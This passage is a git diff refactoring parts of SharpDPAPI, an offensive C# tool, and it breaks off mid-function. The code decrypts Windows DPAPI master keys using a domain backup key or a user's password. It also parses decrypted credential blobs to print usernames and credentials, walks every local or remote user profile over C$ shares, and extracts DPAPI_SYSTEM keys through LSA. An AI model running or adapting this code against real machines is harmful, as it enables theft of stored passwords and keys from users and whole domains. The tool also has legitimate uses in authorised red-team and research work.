targetName.Trim()); - Int32 targetAliasLen = BitConverter.ToInt32(decBlobBytes, offset); + var targetAliasLen = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; - string targetAlias = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen); + var targetAlias = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen); offset += targetAliasLen; - Console.WriteLine(" TargetAlias : {0}", targetAlias); + Console.WriteLine(" TargetAlias : {0}", targetAlias.Trim()); - Int32 commentLen = BitConverter.ToInt32(decBlobBytes, offset); + var commentLen = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; - string comment = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen); + var comment = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen); offset += commentLen; - Console.WriteLine(" Comment : {0}", comment); + Console.WriteLine(" Comment : {0}", comment.Trim()); - Int32 unkDataLen = BitConverter.ToInt32(decBlobBytes, offset); + var unkDataLen = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; - string unkData = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen); + var unkData = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen); offset += unkDataLen; - Int32 userNameLen = BitConverter.ToInt32(decBlobBytes, offset); + var userNameLen = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; - string userName = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen); + var userName = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen); offset += userNameLen; - Console.WriteLine(" UserName : {0}", userName); + Console.WriteLine(" UserName : {0}", userName.Trim()); - Int32 credBlobLen = BitConverter.ToInt32(decBlobBytes, offset); + var credBlobLen = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; - byte[] credBlobBytes = new byte[credBlobLen]; + var credBlobBytes = new byte[credBlobLen]; Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen); offset += credBlobLen; if (Helpers.IsUnicode(credBlobBytes)) { - string credBlob = Encoding.Unicode.GetString(credBlobBytes); - Console.WriteLine(" Credential : {0}", credBlob); + var credBlob = Encoding.Unicode.GetString(credBlobBytes); + Console.WriteLine(" Credential : {0}", credBlob.Trim()); } else { - string credBlobByteString = BitConverter.ToString(credBlobBytes).Replace("-", " "); - Console.WriteLine(" Credential : {0}", credBlobByteString); + var credBlobByteString = BitConverter.ToString(credBlobBytes).Replace("-", " "); + Console.WriteLine(" Credential : {0}", credBlobByteString.Trim()); } } @@ -1127,8 +1138,8 @@ public static ArrayList ParseDecPolicyBlob(byte[] decBlobBytes) { // parse a decrypted policy blob, returning an arraylist of the AES 128/256 keys - ArrayList keys = new ArrayList(); - string s = Encoding.ASCII.GetString(decBlobBytes, 12, 4); + var keys = new ArrayList(); + var s = Encoding.ASCII.GetString(decBlobBytes, 12, 4); if (s.Equals("KDBM")) { @@ -1150,9 +1161,9 @@ 20 00 00 00 xx xx xx (32) */ - int offset = 20; + var offset = 20; - int aes128len = BitConverter.ToInt32(decBlobBytes, offset); + var aes128len = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; if (aes128len != 16) @@ -1161,15 +1172,15 @@ xx xx xx (32) return keys; } - byte[] aes128Key = new byte[aes128len]; + var aes128Key = new byte[aes128len]; Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len); offset += aes128len; - string aes128KeyStr = BitConverter.ToString(aes128Key).Replace("-", ""); + var aes128KeyStr = BitConverter.ToString(aes128Key).Replace("-", ""); // skip more header stuff offset += 20; - int aes256len = BitConverter.ToInt32(decBlobBytes, offset); + var aes256len = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; if (aes256len != 32) @@ -1178,17 +1189,17 @@ xx xx xx (32) return keys; } - byte[] aes256Key = new byte[aes256len]; + var aes256Key = new byte[aes256len]; Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len); - string aes256KeyStr = BitConverter.ToString(aes256Key).Replace("-", ""); + var aes256KeyStr = BitConverter.ToString(aes256Key).Replace("-", ""); keys.Add(aes128Key); keys.Add(aes256Key); } else { - int offset = 16; - string s2 = Encoding.ASCII.GetString(decBlobBytes, offset, 4); + var offset = 16; + var s2 = Encoding.ASCII.GetString(decBlobBytes, offset, 4); offset += 4; if (s2.Equals("KSSM")) @@ -1239,7 +1250,7 @@ 00 00 00 00 00 00 00 00 00 00 00 00 // skip offset += 16; - int aes128len = BitConverter.ToInt32(decBlobBytes, offset); + var aes128len = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; if (aes128len != 16) @@ -1248,21 +1259,21 @@ 00 00 00 00 00 00 00 00 00 00 00 00 return keys; } - byte[] aes128Key = new byte[aes128len]; + var aes128Key = new byte[aes128len]; Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len); offset += aes128len; - string aes128KeyStr = BitConverter.ToString(aes128Key).Replace("-", ""); + var aes128KeyStr = BitConverter.ToString(aes128Key).Replace("-", ""); // search for the next 'MSSK' header - byte[] pattern = new byte[12] { 0x4b, 0x53, 0x53, 0x4d, 0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00 }; - int index = Helpers.ArrayIndexOf(decBlobBytes, pattern, offset); + var pattern = new byte[12] { 0x4b, 0x53, 0x53, 0x4d, 0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00 }; + var index = Helpers.ArrayIndexOf(decBlobBytes, pattern, offset); if (index != -1) { offset = index; offset += 20; - int aes256len = BitConverter.ToInt32(decBlobBytes, offset); + var aes256len = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; if (aes256len != 32) @@ -1271,9 +1282,9 @@ 00 00 00 00 00 00 00 00 00 00 00 00 return keys; } - byte[] aes256Key = new byte[aes256len]; + var aes256Key = new byte[aes256len]; Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len); - string aes256KeyStr = BitConverter.ToString(aes256Key).Replace("-", ""); + var aes256KeyStr = BitConverter.ToString(aes256Key).Replace("-", ""); keys.Add(aes128Key); keys.Add(aes256Key); @@ -1292,20 +1303,20 @@ public static byte[] GetDomainKey(byte[] masterKeyBytes) { // helper to extract domain key bytes from a master key blob - int offset = 96; + var offset = 96; - long masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); + var masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); offset += 8; - long backupKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); + var backupKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); offset += 8; - long credHistLen = BitConverter.ToInt64(masterKeyBytes, offset); + var credHistLen = BitConverter.ToInt64(masterKeyBytes, offset); offset += 8; - long domainKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); + var domainKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); offset += 8; offset += (int)(masterKeyLen + backupKeyLen + credHistLen); - byte[] domainKeyBytes = new byte[domainKeyLen]; + var domainKeyBytes = new byte[domainKeyLen]; Array.Copy(masterKeyBytes, offset, domainKeyBytes, 0, domainKeyLen); return domainKeyBytes; @@ -1315,25 +1326,25 @@ public static byte[] GetMasterKey(byte[] masterKeyBytes) { // helper to extract domain masterkey subbytes from a master key blob - int offset = 96; + var offset = 96; - long masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); + var masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); offset += 4 * 8; // skip the key length headers - byte[] masterKeySubBytes = new byte[masterKeyLen]; + var masterKeySubBytes = new byte[masterKeyLen]; Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen); return masterKeySubBytes; } public static byte[] CalculateKeys(string password, string directory, bool domain) { - string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); - string usersid = Path.GetFileName(directory).TrimEnd(Path.DirectorySeparatorChar); + var userDPAPIBasePath = $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Roaming\\Microsoft\\Protect\\"; + var usersid = Path.GetFileName(directory).TrimEnd(Path.DirectorySeparatorChar); - var utf16pass = System.Text.Encoding.Unicode.GetBytes(password); - var utf16sid = System.Text.Encoding.Unicode.GetBytes(usersid); + var utf16pass = Encoding.Unicode.GetBytes(password); + var utf16sid = Encoding.Unicode.GetBytes(usersid); - byte[] utf16sidfinal = new byte[utf16sid.Length + 2]; + var utf16sidfinal = new byte[utf16sid.Length + 2]; utf16sid.CopyTo(utf16sidfinal, 0); utf16sidfinal[utf16sidfinal.Length - 2] = 0x00; @@ -1343,12 +1354,12 @@ public static byte[] CalculateKeys(string password, string directory, bool domai if (!domain) { //Calculate SHA1 from user password - using (System.Security.Cryptography.SHA1Managed sha1 = new System.Security.Cryptography.SHA1Managed()) + using (var sha1 = new SHA1Managed()) { sha1bytes_password = sha1.ComputeHash(utf16pass); } - byte[] combined = Helpers.Combine(sha1bytes_password, utf16sidfinal); - using (System.Security.Cryptography.HMACSHA1 hmac = new System.Security.Cryptography.HMACSHA1(sha1bytes_password)) + var combined = Helpers.Combine(sha1bytes_password, utf16sidfinal); + using (var hmac = new HMACSHA1(sha1bytes_password)) { hmacbytes = hmac.ComputeHash(utf16sidfinal); } @@ -1356,16 +1367,16 @@ public static byte[] CalculateKeys(string password, string directory, bool domai } else { - //Calculate NTLM from user password - string rc4Hash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password); + //Calculate NTLM from user password. Kerberos's RC4_HMAC key is the NTLM hash + var rc4Hash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password); var ntlm = Helpers.ConvertHexStringToByteArray(rc4Hash); - byte[] combinedNTLM = Helpers.Combine(ntlm, utf16sidfinal); + var combinedNTLM = Helpers.Combine(ntlm, utf16sidfinal); byte[] ntlmhmacbytes; //Calculate SHA1 of NTLM from user password - using (System.Security.Cryptography.HMACSHA1 hmac = new System.Security.Cryptography.HMACSHA1(ntlm)) + using (var hmac = new HMACSHA1(ntlm)) { ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal); } @@ -1386,7 +1397,7 @@ public static byte[] CalculateKeys(string password, string directory, bool domai tmpbytes2 = deriveBytes.GetBytes(16, "sha256"); } - using (System.Security.Cryptography.HMACSHA1 hmac = new System.Security.Cryptography.HMACSHA1(tmpbytes2)) + using (var hmac = new HMACSHA1(tmpbytes2)) { tmpkey3bytes = hmac.ComputeHash(utf16sidfinal); } @@ -1394,225 +1405,228 @@ public static byte[] CalculateKeys(string password, string directory, bool domai } } - public static Dictionary DecryptMasterKey(byte[] masterKeyBytes, byte[] backupKeyBytes) + public static KeyValuePair DecryptMasterKey(byte[] masterKeyBytes, byte[] backupKeyBytes) { // takes masterkey bytes and backup key bytes, returns a dictionary of guid:sha1 masterkey mappings - Dictionary mapping = new Dictionary(); - try - { - string guidMasterKey = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72)); + var guidMasterKey = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; - int offset = 4; + var offset = 4; - byte[] domainKeyBytes = GetDomainKey(masterKeyBytes); + var domainKeyBytes = GetDomainKey(masterKeyBytes); - int secretLen = BitConverter.ToInt32(domainKeyBytes, offset); - offset += 4; + var secretLen = BitConverter.ToInt32(domainKeyBytes, offset); + offset += 4; - int accesscheckLen = BitConverter.ToInt32(domainKeyBytes, offset); - offset += 4; + var accesscheckLen = BitConverter.ToInt32(domainKeyBytes, offset); + offset += 4; - // the guid - offset += 16; + // the guid + offset += 16; - byte[] secretBytes = new byte[secretLen]; - Array.Copy(domainKeyBytes, offset, secretBytes, 0, secretLen); - offset += secretLen; + var secretBytes = new byte[secretLen]; + Array.Copy(domainKeyBytes, offset, secretBytes, 0, secretLen); + offset += secretLen; - byte[] accesscheckBytes = new byte[accesscheckLen]; - Array.Copy(domainKeyBytes, offset, accesscheckBytes, 0, accesscheckLen); + var accesscheckBytes = new byte[accesscheckLen]; + Array.Copy(domainKeyBytes, offset, accesscheckBytes, 0, accesscheckLen); - // extract out the RSA private key - byte[] rsaPriv = new byte[backupKeyBytes.Length - 24]; - Array.Copy(backupKeyBytes, 24, rsaPriv, 0, rsaPriv.Length); + // extract out the RSA private key + var rsaPriv = new byte[backupKeyBytes.Length - 24]; + Array.Copy(backupKeyBytes, 24, rsaPriv, 0, rsaPriv.Length); - string a = BitConverter.ToString(rsaPriv).Replace("-", ""); + var a = BitConverter.ToString(rsaPriv).Replace("-", ""); - string sec = BitConverter.ToString(secretBytes).Replace("-", ""); + var sec = BitConverter.ToString(secretBytes).Replace("-", ""); - byte[] domainKeyBytesDec = Crypto.RSADecrypt(rsaPriv, secretBytes); + var domainKeyBytesDec = Crypto.RSADecrypt(rsaPriv, secretBytes); - int masteyKeyLen = BitConverter.ToInt32(domainKeyBytesDec, 0); - int suppKeyLen = BitConverter.ToInt32(domainKeyBytesDec, 4); + var masterKeyLen = BitConverter.ToInt32(domainKeyBytesDec, 0); + var suppKeyLen = BitConverter.ToInt32(domainKeyBytesDec, 4); - byte[] masterKey = new byte[masteyKeyLen]; - Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masteyKeyLen); + var masterKey = new byte[masterKeyLen]; + Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masterKeyLen); - SHA1Managed sha1 = new SHA1Managed(); - byte[] masterKeySha1 = sha1.ComputeHash(masterKey); - string masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); + var sha1 = new SHA1Managed(); + var masterKeySha1 = sha1.ComputeHash(masterKey); + var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); - mapping.Add(guidMasterKey, masterKeySha1Hex); - } - catch { } - return mapping; + return new KeyValuePair(guidMasterKey, masterKeySha1Hex); } - public static Dictionary DecryptMasterKeyWithSha(byte[] masterKeyBytes, byte[] shaBytes) + public static KeyValuePair DecryptMasterKeyWithSha(byte[] masterKeyBytes, byte[] shaBytes) { // takes masterkey bytes and SYSTEM_DPAPI masterkey sha bytes, returns a dictionary of guid:sha1 masterkey mappings - Dictionary mapping = new Dictionary(); - try + var mapping = new KeyValuePair(); + + var guidMasterKey = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; + + var mkBytes = GetMasterKey(masterKeyBytes); + + var offset = 4; + var salt = new byte[16]; + Array.Copy(mkBytes, 4, salt, 0, 16); + offset += 16; + + var rounds = BitConverter.ToInt32(mkBytes, offset); + offset += 4; + + var algHash = BitConverter.ToInt32(mkBytes, offset); + offset += 4; + + var algCrypt = BitConverter.ToInt32(mkBytes, offset); + offset += 4; + + var encData = new byte[mkBytes.Length - offset]; + Array.Copy(mkBytes, offset, encData, 0, encData.Length); + + var derivedPreKey = DerivePreKey(shaBytes, algHash, salt, rounds); + + switch (algCrypt) { - string guidMasterKey = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72)); - byte[] mkBytes = GetMasterKey(masterKeyBytes); + // CALG_AES_256 == 26128 , CALG_SHA_512 == 32782 + case 26128 when (algHash == 32782): + { + var masterKeySha1 = DecryptAes256HmacSha512(shaBytes, derivedPreKey, encData); + var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", ""); - int offset = 4; - byte[] salt = new byte[16]; - Array.Copy(mkBytes, 4, salt, 0, 16); - offset += 16; + return new KeyValuePair(guidMasterKey, masterKeyStr); + } - int rounds = BitConverter.ToInt32(mkBytes, offset); - offset += 4; + // Support for 32777(CALG_HMAC) / 26115(CALG_3DES) + case 26115 when (algHash == 32777 || algHash == 32772): + { + var masterKeySha1 = DecryptTripleDESHmac(derivedPreKey, encData); + var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", ""); - int algHash = BitConverter.ToInt32(mkBytes, offset); - offset += 4; + return new KeyValuePair(guidMasterKey, masterKeyStr); + } - int algCrypt = BitConverter.ToInt32(mkBytes, offset); - offset += 4; + default: + throw new Exception($"Alg crypt '{algCrypt} / 0x{algCrypt:X8}' not currently supported!"); + } - byte[] encData = new byte[mkBytes.Length - offset]; - Array.Copy(mkBytes, offset, encData, 0, encData.Length); + } - byte[] final = new byte[48]; + private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, int rounds) + { + byte[] derivedPreKey; + switch (algHash) + { // CALG_SHA_512 == 32782 - if (algHash == 32782) - { - // derive the "Pbkdf2/SHA512" key for the masterkey, using MS' silliness - using (var hmac = new HMACSHA512()) + case 32782: { - var df = new Pbkdf2(hmac, shaBytes, salt, rounds); - final = df.GetBytes(48); + // derive the "Pbkdf2/SHA512" key for the masterkey, using MS' silliness + using (var hmac = new HMACSHA512()) + { + var df = new Pbkdf2(hmac, shaBytes, salt, rounds); + derivedPreKey = df.GetBytes(48); + } + + break; } - } - else - if (algHash == 32777) - { - // derive the "Pbkdf2/SHA1" key for the masterkey, using MS' silliness - using (var hmac = new HMACSHA1()) + + case 32777: { - var df = new Pbkdf2(hmac, shaBytes, salt, rounds); - final = df.GetBytes(32); + // derive the "Pbkdf2/SHA1" key for the masterkey, using MS' silliness + using (var hmac = new HMACSHA1()) + { + var df = new Pbkdf2(hmac, shaBytes, salt, rounds); + derivedPreKey = df.GetBytes(32); + } + + break; } - } - else - { - Console.WriteLine("[X] Note: alg hash '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8")); - return mapping; - } - // CALG_AES_256 == 26128 , CALG_SHA_512 == 32782 - if ((algCrypt == 26128) && (algHash == 32782)) - { - int HMACLen = (new HMACSHA512()).HashSize / 8; - AesManaged aesCryptoProvider = new AesManaged(); + default: + throw new Exception($"alg hash '{algHash} / 0x{algHash:X8}' not currently supported!"); + } - byte[] ivBytes = new byte[16]; - Array.Copy(final, 32, ivBytes, 0, 16); + return derivedPreKey; + } - byte[] key = new byte[32]; - Array.Copy(final, 0, key, 0, 32); + private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byte[] encData) + { + var HMACLen = (new HMACSHA512()).HashSize / 8; + var aesCryptoProvider = new AesManaged(); - aesCryptoProvider.Key = key; - aesCryptoProvider.IV = ivBytes; - aesCryptoProvider.Mode = CipherMode.CBC; - aesCryptoProvider.Padding = PaddingMode.Zeros; + var ivBytes = new byte[16]; + Array.Copy(final, 32, ivBytes, 0, 16); - // decrypt the encrypted data using the Pbkdf2-derived key - byte[] plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length); + var key = new byte[32]; + Array.Copy(final, 0, key, 0, 32); - int outLen = plaintextBytes.Length; - int outputLen = outLen - 16 - HMACLen; + aesCryptoProvider.Key = key; + aesCryptoProvider.IV = ivBytes; + aesCryptoProvider.Mode = CipherMode.CBC; + aesCryptoProvider.Padding = PaddingMode.Zeros; - byte[] masterKeyFull = new byte[HMACLen]; + // decrypt the encrypted data using the Pbkdf2-derived key + var plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length); - // outLen - outputLen == 80 in this case - Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length); + var outLen = plaintextBytes.Length; + var outputLen = outLen - 16 - HMACLen; - using (SHA1Managed sha1 = new SHA1Managed()) - { - byte[] masterKeySha1 = sha1.ComputeHash(masterKeyFull); - string masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); + var masterKeyFull = new byte[HMACLen]; - // CALG_SHA_512 == 32782 - if (algHash == 32782) - { - // we're HMAC'ing the first 16 bytes of the decrypted buffer with the shaBytes as the key - byte[] plaintextCryptBuffer = new byte[16]; - Array.Copy(plaintextBytes, plaintextCryptBuffer, 16); - HMACSHA512 hmac1 = new HMACSHA512(shaBytes); - byte[] round1Hmac = hmac1.ComputeHash(plaintextCryptBuffer); - - // round 2 - byte[] round2buffer = new byte[outputLen]; - Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen); - HMACSHA512 hmac2 = new HMACSHA512(round1Hmac); - byte[] round2Hmac = hmac2.ComputeHash(round2buffer); - - // compare the second HMAC value to the original plaintextBytes, starting at index 16 - byte[] comparison = new byte[64]; - Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length); - string s1 = BitConverter.ToString(comparison).Replace("-", ""); - string s2 = BitConverter.ToString(round2Hmac).Replace("-", ""); - - if (s1.Equals(s2)) - { - mapping.Add(guidMasterKey, masterKeySha1Hex); - } - else - { - Console.WriteLine("[X] {0}:{1} - HMAC integrity check failed!", guidMasterKey, masterKeySha1Hex); - return mapping; - } - } - else - { - Console.WriteLine("[X] Note: alg hash '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8")); - return mapping; - } - } - }// Added support for 32777(CALG_HMAC) / 26115(CALG_3DES) - else if ((algCrypt == 26115) && (algHash == 32777 || algHash == 32772)) - { - TripleDESCryptoServiceProvider desCryptoProvider = new TripleDESCryptoServiceProvider(); + // outLen - outputLen == 80 in this case + Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length); - byte[] ivBytes = new byte[8]; - byte[] key = new byte[24]; + using (var sha1 = new SHA1Managed()) + { + var masterKeySha1 = sha1.ComputeHash(masterKeyFull); - Array.Copy(final, 24, ivBytes, 0, 8); - Array.Copy(final, 0, key, 0, 24); + // we're HMAC'ing the first 16 bytes of the decrypted buffer with the shaBytes as the key + var plaintextCryptBuffer = new byte[16]; + Array.Copy(plaintextBytes, plaintextCryptBuffer, 16); + var hmac1 = new HMACSHA512(shaBytes); + var round1Hmac = hmac1.ComputeHash(plaintextCryptBuffer); - desCryptoProvider.Key = key; - desCryptoProvider.IV = ivBytes; - desCryptoProvider.Mode = CipherMode.CBC; - desCryptoProvider.Padding = PaddingMode.Zeros; + // round 2 + var round2buffer = new byte[outputLen]; + Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen); + var hmac2 = new HMACSHA512(round1Hmac); + var round2Hmac = hmac2.ComputeHash(round2buffer); - byte[] plaintextBytes = desCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length); - byte[] decryptedkey = new byte[64]; + // compare the second HMAC value to the original plaintextBytes, starting at index 16 + var comparison = new byte[64]; + Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length); - Array.Copy(plaintextBytes, 40, decryptedkey, 0, 64); - using (SHA1Managed sha1 = new SHA1Managed()) - { - byte[] masterKeySha1 = sha1.ComputeHash(decryptedkey); - string masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); - mapping.Add(guidMasterKey, masterKeySha1Hex); - } - return mapping; - } - else + if (comparison.SequenceEqual(round2Hmac)) { - Console.WriteLine("[X] Note: alg crypt '{0} / 0x{1}' not currently supported!", algCrypt, algCrypt.ToString("X8")); - return mapping; + return masterKeySha1; } - return mapping; + + throw new Exception("HMAC integrity check failed!"); + } - catch(Exception ex) + } + + private static byte[] DecryptTripleDESHmac(byte[] final, byte[] encData) + { + var desCryptoProvider = new TripleDESCryptoServiceProvider(); + + var ivBytes = new byte[8]; + var key = new byte[24]; + + Array.Copy(final, 24, ivBytes, 0, 8); + Array.Copy(final, 0, key, 0, 24); + + desCryptoProvider.Key = key; + desCryptoProvider.IV = ivBytes; + desCryptoProvider.Mode = CipherMode.CBC; + desCryptoProvider.Padding = PaddingMode.Zeros; + + var plaintextBytes = desCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length); + var decryptedkey = new byte[64]; + + Array.Copy(plaintextBytes, 40, decryptedkey, 0, 64); + using (var sha1 = new SHA1Managed()) { - Console.WriteLine("Exception: {0}", ex.ToString()); + var masterKeySha1 = sha1.ComputeHash(decryptedkey); + return masterKeySha1; } - return mapping; } } } \ No newline at end of file diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 344c8fe..bf009a8 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -1,8 +1,6 @@ using System; -using System.Collections; using System.Collections.Generic; using System.IO; -using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Xml; @@ -15,8 +13,8 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied - Dictionary mappings = new Dictionary(); - bool canAccess = false; + var mappings = new Dictionary(); + var canAccess = false; if (!String.IsNullOrEmpty(computerName)) { @@ -33,85 +31,77 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { // if elevated, triage ALL reachable masterkeys - string userFolder = ""; - - if (!String.IsNullOrEmpty(computerName)) - { - userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); - } - else - { - userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); - } + var userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; userDirs = Directory.GetDirectories(userFolder); } else { // otherwise we're only triaging the current user's path - userDirs = new string[] { System.Environment.GetEnvironmentVariable("USERPROFILE") }; + userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; } - foreach (string dir in userDirs) + foreach (var dir in userDirs) { - string[] parts = dir.Split('\\'); - string userName = parts[parts.Length - 1]; - if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; + if (!Directory.Exists(userDPAPIBasePath)) + continue; + + var directories = Directory.GetDirectories(userDPAPIBasePath); + foreach (var directory in directories) { - string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", dir); - if (System.IO.Directory.Exists(userDPAPIBasePath)) + var files = Directory.GetFiles(directory); + var isDomain = false; + byte[] hmacBytes = null; + + foreach (var file in files) { - string[] directories = Directory.GetDirectories(userDPAPIBasePath); - foreach (string directory in directories) + // if the BK- file exists, assume this is a domain user. + if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) { - string[] files = Directory.GetFiles(directory); - bool isDomain = false; - byte[] hmacbytes = null; + isDomain = true; // means use the NTLM of the user password instead of the SHA1 + } + } - foreach (string file in files) - { - // if the BK- file exists, assume this is a domain user. - if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) - { - isDomain = true; // means use the NTLM of the user password instead of the SHA1 - } - } + if (!String.IsNullOrEmpty(password)) + { + hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + } + + foreach (var file in files) + { + if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; + + if (show) + { + Console.WriteLine("[*] Found MasterKey : {0}", file); + } + var masterKeyBytes = File.ReadAllBytes(file); + try + { + KeyValuePair plaintextMasterKey; if (!String.IsNullOrEmpty(password)) { - hmacbytes = Dpapi.CalculateKeys(password, directory, isDomain); + plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } - - foreach (string file in files) + else { - if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - { - string fileName = System.IO.Path.GetFileName(file); - if (show) - { - Console.WriteLine("[*] Found MasterKey : {0}", file); - } - - byte[] masteyKeyBytes = File.ReadAllBytes(file); - try - { - if(!String.IsNullOrEmpty(password)) - { - Dictionary mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, hmacbytes); - mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); - } - else - { - Dictionary mapping = Dpapi.DecryptMasterKey(masteyKeyBytes, backupKeyBytes); - mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); - } - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); - } - } + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } + + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } @@ -126,7 +116,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy else { Console.WriteLine("\n[*] User master key cache:\r\n"); - foreach (KeyValuePair kvp in mappings) + foreach (var kvp in mappings) { Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); } @@ -142,74 +132,75 @@ public static Dictionary TriageSystemMasterKeys(bool show = fals { // retrieve the DPAPI_SYSTEM key and use it to decrypt any SYSTEM DPAPI masterkeys - Dictionary mappings = new Dictionary(); + var mappings = new Dictionary(); if (Helpers.IsHighIntegrity()) { // get the system and user DPAPI backup keys, showing the machine DPAPI keys // { machine , user } - List keys = LSADump.GetDPAPIKeys(true); + var keys = LSADump.GetDPAPIKeys(true); Helpers.GetSystem(); - string systemFolder = String.Format("{0}\\Windows\\System32\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("SystemDrive")); + var systemFolder = + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\System32\\Microsoft\\Protect\\"; - string[] systemDirs = Directory.GetDirectories(systemFolder); + var systemDirs = Directory.GetDirectories(systemFolder); - foreach (string directory in systemDirs) + foreach (var directory in systemDirs) { - string[] machineFiles = Directory.GetFiles(directory); - string[] userFiles = new string[0]; + var machineFiles = Directory.GetFiles(directory); + var userFiles = new string[0]; - 